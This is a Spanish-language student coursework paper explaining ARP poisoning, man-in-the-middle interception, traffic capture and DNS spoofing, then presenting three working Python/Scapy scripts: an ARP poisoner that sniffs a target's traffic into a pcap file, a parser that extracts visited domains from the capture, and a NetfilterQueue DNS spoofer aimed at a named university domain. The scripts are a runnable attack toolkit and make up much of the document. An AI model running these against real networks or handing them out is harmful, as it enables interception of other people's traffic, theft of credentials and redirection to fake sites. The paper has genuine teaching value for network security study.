Universidad de la Empresa

Trabajo Obligatorio

Juan Aparicio

Profesor
Pablo Martres

July 21, 2018

Contents

1 Introducción

El tema de este trabajo es el análisis de una familia de vulnerabilidades existentes en las redes informáticas hoy en día. Con el crecimiento de la popularidad de las redes Wi-Fi públicas, los ataques Man-in-the-middle son muy fáciles de hacer, y junto a este otra serie de ataques que pueden robar información valiosa como por ejemplo: credenciales de autenticación a páginas web, tipo de dispositivo desde el cual se está accediendo, los sitios visitados y más.

A continuación se presentarán tres de los posibles ataques que se pueden hacer combinado con un ataque Man-in-the-Middle, y por que es que se pueden hacer.

2 Man-in-the-Middle

Este ataque es la base del resto de los ataques que se presentarán en este documento.

Este ataque se basa en retransmitir y posiblemente alterar la comunicación entre 2 computadoras que piensan que estan comunicandose directamente uno con otro.

Para llevar a cabo este ataque, se toma ventaja del protocolo ARP que se usa en todas las redes informáticas. Lo que se hace es un *ARP cache poisoning* para que la computadora piense que la computadora del atacante piense que es la puerta de enlace y envíe el tráfico a la computadora del atacante, y este retransmitirla.

3 Protocolo ARP (Address Resolution Protocoll)

Cuando nos conectamos a otra máquina en la red local, usualmente se usa su hostname, domain name o dirección IP. En nuestro ataque, antes de que el paquete pueda ser enviado de la máquina del atacante a la máquina objetivo, la máquina del atacante debe mapear la dirección ip de la máquina objetivo a la MAC para que la máquina del atacante sepa a qué parte de la red enviar el paquete. Para hacer esto, se envía un ARP broadcast de "who has IP addess 192.168.20.10" en la red local. La maquina con la direccion IP 192.168.20.10 responde "yo tengo la direccion 192.168.20.10 y mi MAC es 00:0C:29:A9:CE:92". La máquina del atacante va a guardar el mapeo de la IP 192.168.20.10 y la MAC 00:0C:29:A9:CE:92 en su ARP cache.

Cuando se envíe el siguiente paquete, nuestra máquina va a fijarse primero en su ARP cache por la entrada de la IP 192.168.20.10. Si encuentra una, va a usar esa como la dirección del objetivo, en lugar de enviar un ARP Broadcast (Como la topología de la red puede estar cambiando constantemente, las entradas en la cache de la tabla ARP se actualizan regularmente). Por lo tanto los sistemas van a estar enviando ARP broadcast a medida que sus caches se van vaciando. El atacante se aprovecha de este refrescado periódico para hacer el envenenamiento de la cache ARP.

Para ver la tabla ARP cacheada en la máquina se puede usar el comando arp -a en Windows y sistemas UNIX.

3.1 Ataque ARP poisoning

La vulnerabilidad en el sistema ARP, es que no existe una garantía de que la respuesta de dirección MAC que recibe viene efectivamente de la máquina que tiene esa dirección MAC. La máquina va a aceptar la respuesta de todas formas como verdadera.

Para envenenar la tabla ARP, lo que hace la máquina atacante es enviar constantemente una serie de respuestas ARP que le dicen a la máquina objetivo que la máquina del atacante (la nuestra) es otra en la red. De esta forma, la máquina objetivo envía el tráfico a nuestra máquina, porque piensa que es otra.

4 Ataques combinados con Man-in-the-Middle

Una vez que se tiene una computadora posicionada lógicamente en el medio del canal de comunicación de otras 2, se podría llevar a cabo los siguiente ataques:

1. Denial of Service.
2. Captura de tráfico de red.
3. DNS spoofing.

4.1 Denial of Service

Una vez que se posicionó la máquina del atacante entre medio de las otras dos, si se quiere hacer un *denial of service*, no hay que hacer nada más. Este ataque consiste en denegarle un servicio a una pc en la red. El servicio que se estaría negando en este caso sería el de la transmisión de datos entre las 2 pcs. Para que no se produzca un denial of service y pase a ser un simple Man-in-the-Middle, lo único que hay que hacer es hacer un IP forwarding de los paquetes ajenos al destino correcto.

4.2 Captura de tráfico de red

Consiste en ponerse entre medio de las 2 máquinas, habilitar el IP Forwarding y los paquetes externos guardarlos en algún tipo de archivo para su posterior análisis.

4.3 DNS Spoofing

Una vez que se está en el medio de las máquinas con el Man-in-the-Middle, lo que se hace es capturar el tráfico que recibe la máquina por el puerto 53, inspeccionar la respuesta del DNS, modificarla y reenviarla al destinatario. El destinatario no tiene una forma de saber si el paquete fue modificado en el medio, entonces toma la respuesta como válida y verdadera.

5 Programas para efectuar los ataques

Aunque existen distintos programas para efectuar todos estos ataques, se decidió hacer programas propios para demostrar el funcionamiento y la teoría de los ataques.

Para hacer los scripts se usó el lenguaje Python 3, junto con las librerías Scapy y LibnetFilterQueue. Se usó Python por su facilidad de uso y porque ya existen librerías muy potentes cuyo propósito es el análisis de tráfico de red y paquetes.

Para poder utilizar los programas es necesario tener lo siguiente:

- Linux (cualquier distribución, preferiblemente Arch)
- Python 3 instalado.
- Python pip.
- Scapy (librería de Python).
- Implementación de LibnetFilterQueue para Python instalada.
- iptables instalado.
- nmap (o similar) para poder descubrir los dispositivos en la red.

5.1 Programa para hacer ARP poisoning y capturar el tráfico

Este primer script tiene 4 variables que se deben cambiar para poder ejecutarlo. Ellas son:

1. `gateway_ip`: Esta es la ip de la gateway de la red.
2. `target_ip`: Esta es la ip de la computadora que se quiere atacar.
3. `packet_count`: Esta es la cantidad de paquetes que se quieren sniffear, si se setea a 0 se sniffea indefinidamente.
4. `interface`: Es la interfaz desde la cual se quiere sniffear.

```
1  from scapy.all import *
2  import os
3  import signal
4  import sys
5  import threading
6  import time
```

```
7
8     #Parametros del programa
9     gateway_ip = "192.168.0.1"
10    target_ip = "192.168.0.104"
11    packet_count = 0
12    interface = "wlp2s0"
13
14    #Configuracion inicial
15    conf.iface = interface
16    conf.verb = 0
17
18    #Descripcion: Dada una direccion IP, obtiene la direccion MAC. Lo que hace es hacer un
          ARP Broadcast
19    #y recibe una respuesta ARP con la direccion MAC.
20    #Entrada:  Direccion IP
21    #Salida:   Direccion MAC
22    def get_mac(ip_address):
23       #Armo una request de tipo ARP. Esta request se la paso a la funcion sr, que lo que
             hace es enviar y recibir paquetes
24       #de capa 3
25       ret = None
26       resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2,
             timeout=10)
27
28       for s,r in resp:
29          print("entre")
30          if(ret == None):
31             ret = r[ARP].hwsrc
32       return ret
33
34
35    #Restaura la red revirtiendo el envenenamiento de ARP. Lo que hace es Hacer un broadcast
          ARP con la
36    #direccion MAC e IP correctas.
37    #Entradas: Direccion IP del gateway, Direccion MAC del gateway, Direccion IP del
          objetivo, Direccion MAC del objetivo
38    #Salida:   void
39    def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
40       send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac,
             psrc=target_ip), count=5)
41       send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac,
             psrc=gateway_ip), count=5)
42       print("[*] Deshabilitando IP forwarding")
43       #Deshabilito el redireccionamiento de red de la pc mia.
44       os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
45       #mato el proceso del script
46       os.kill(os.getpid(), signal.SIGTERM)
47
48    #Sigo enviando respuestas de ARP falsas para poner mi pc en el medio.
49    #Entrada:  Direccion IP del gateway, Direccion MAC del gateway, Direccion IP del
          objetivo, Direccion MAC del objetivo
50    #Salida:   void
51    def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
52       print("[*] Empezado el ataque ARP poisoning [CTRL-C para parar]")
53       try:
54          while True:
55             send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
56             send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
```

```
57              time.sleep(2)
58          except KeyboardInterrupt:
59              print("[*] Se detuvo el ataque ARP poison. Restaurando la red...")
60              restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
61
62      #Inicio el script
63      print("[*] Comenzando Script: arp_poison.py")
64      print("[*] Habilitando IP Forwarding")
65      #Habilito el redireccionamiento de red en mi pc
66      os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
67      print(f"[*] Gateway IP: {gateway_ip}")
68      print(f"[*] Target IP : {target_ip}")
69
70      #Obtengo la direccion MAC del gateway
71      gateway_mac = get_mac(gateway_ip)
72      if gateway_mac is None:
73          print("[!] No es posible obtener la direccion MAC de la gateway. Saliendo..")
74          sys.exit(0)
75      else:
76          print(f"[*] Direccion MAC de la gateway: {gateway_mac}")
77
78      #Obtengo la direccion MAC de la maquina objetivo
79      target_mac = get_mac(target_ip)
80      if target_mac is None:
81          print("[!] No es posible obtener la direccion MAC del objetivo. Saliendo..")
82          sys.exit(0)
83      else:
84          print(f"[*] Direccion MAC del objetivo: {target_mac}")
85
86      #Inicio el hilo que hace el envenenamiento ARP
87      poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac,
            target_ip, target_mac))
88      poison_thread.start()
89
90      #Leo el trafico y lo escribo en el archivo pcap
91      try:
92          #Seteo un filtro que sea donde obtengo los paquetes que tienen como ip host la
                maquina objetivo
93          sniff_filter = "ip host " + target_ip
94          print(f"[*] Comenzando captura de paquetes. Cantidad de paquetes: {packet_count}.
                Filter: {sniff_filter}")
95          packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
96          #Escribo los paquetes (la cantidad que haya seteado en los parametros de
                configuracion)
97          #que intercepto a un archivo pcap
98          wrpcap(target_ip + "_capture.pcap", packets)
99          print(f"[*] Deteniendo la captura de paquetes.. Restaurando red..")
100         restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
101     except KeyboardInterrupt:
102         print(f"[*] Se detuvo la captura de red.. Restaurando red..")
103         #Una vez que presiono ctrl + c restauro la red a su estado inicial
104         restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
105         sys.exit(0)
```

5.2 Programa para el análisis de la captura de tráfico

Este segundo script tiene 1 variable que se deben cambiar para poder ejecutarlo. Esta es: `rutaArchPCAP`: Es un string con la ruta al archivo `.pcap` conteniendo el tráfico sniffeado que generó el script anterior.

```
from scapy.all import *
import sys

rutaArchPCAP='./192.168.0.104_capture.pcap'
opcion = 0
archPCAP = rdpcap(rutaArchPCAP)

#Funciones
def historial():
   # Itero las sesiones en el trafico de red.
   for session in archPCAP:
      # Itero los paquetes de la sesion
      for packet in session:
      try:
         # Si el paquete tiene la capa de DNS, entonces accedo
         # e imprimo la query hecha al servidor DNS
         if(packet[DNS]):
            print(packet[DNS].qd.qname)
      except IndexError:
         pass

#Para ver el historial
if(opcion == 0):
   historial()
```

5.3 Programa para el spoofeo de DNS

Este tercer script tiene 2 variables que se deben cambiar para poder ejecutarlo. Ellas son:

1. `domain`: Este es el dominio que se quiere spoofear.
2. `ipSpoofeada`: Esta es la ip a la que se va a redirigir cuando se haga una consulta DNS conteniendo el dominio que tiene `domain`.

```
from netfilterqueue import NetfilterQueue
from scapy.all import *
import os

#Este es el dominio que quiero spoofear
domain     = 'plataforma-fi.ude.edu.uy'

#Esta es la ip a la que voy a redirigir
ipSpoofeada = '192.168.0.102'

#Regla de IP tables para que los paquetes forwardeados por mi PC con puerto de destino
    53 se encolen.
os.system('iptables -A FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 1')

#Funcion que se ejecuta cada vez que se encola un paquete.
#Entrada: paquete de NFQUEUE
#Salida: ninguno. adentro acepta el paquete o lo dropea y envia uno spoofeado
def callback(p):
   # Parseo el paquete de NFQUEUE a un paquete entendible por Scapy
   pkt = IP(p.get_payload())
   try:
      #Si el paquete tiene la capa DNS
      if(pkt["DNS"]):
         # Me fijo si es una pregunta o respuesta de DNS y lo intercepto
```

```
24            if pkt.qdcount > 0 and isinstance(pkt.qd, DNSQR):
25               name = pkt.qd.qname
26            elif pkt.ancount > 0 and isinstance(pkt.an, DNSRR):
27               name = pkt.an.rdata
28            else:
29               print("")
30            #Si la query tiene el nombre que quiero spoofear en el DNS, lo intercepto, hago
                 un nuevo paquete
31            # y mando mi paquete spoofeado
32            if(domain in str(name)):
33               spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
34                  UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
35                  DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, \
36                  an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=100, rdata=ipSpoofeada))
37
38               send(spoofed_pkt)
39
40               print("Paquete spoofeado enviado para: " + name)
41            else:
42               #Si no es una direccion que quiero spoofear acepto el paquete.
43               print("Paquete aceptado para la url: " + name)
44               p.accept()
45      except:
46         #Si ocurrio una excepcion no hago nada
47         pass
48
49
50   #Hilo principal de ejecucion.
51   def main():
52      #Creo una cola para los paquetes
53      NFQUEUE = NetfilterQueue()
54      #Adjunto la cola creada con un callback y al numero 1
55      NFQUEUE.bind(1, callback)
56      try:
57         NFQUEUE.run() # Pongo a correr la cola de paquetes
58      except KeyboardInterrupt:
59         #Si cancelo el programa limpio las reglas del IP tables que cree.
60         NFQUEUE.unbind()
61         os.system('iptables -F')
62         os.system('iptables -X')
63         sys.exit('Cerrando...')
64   #Ejecucion del programa.
65   main()
```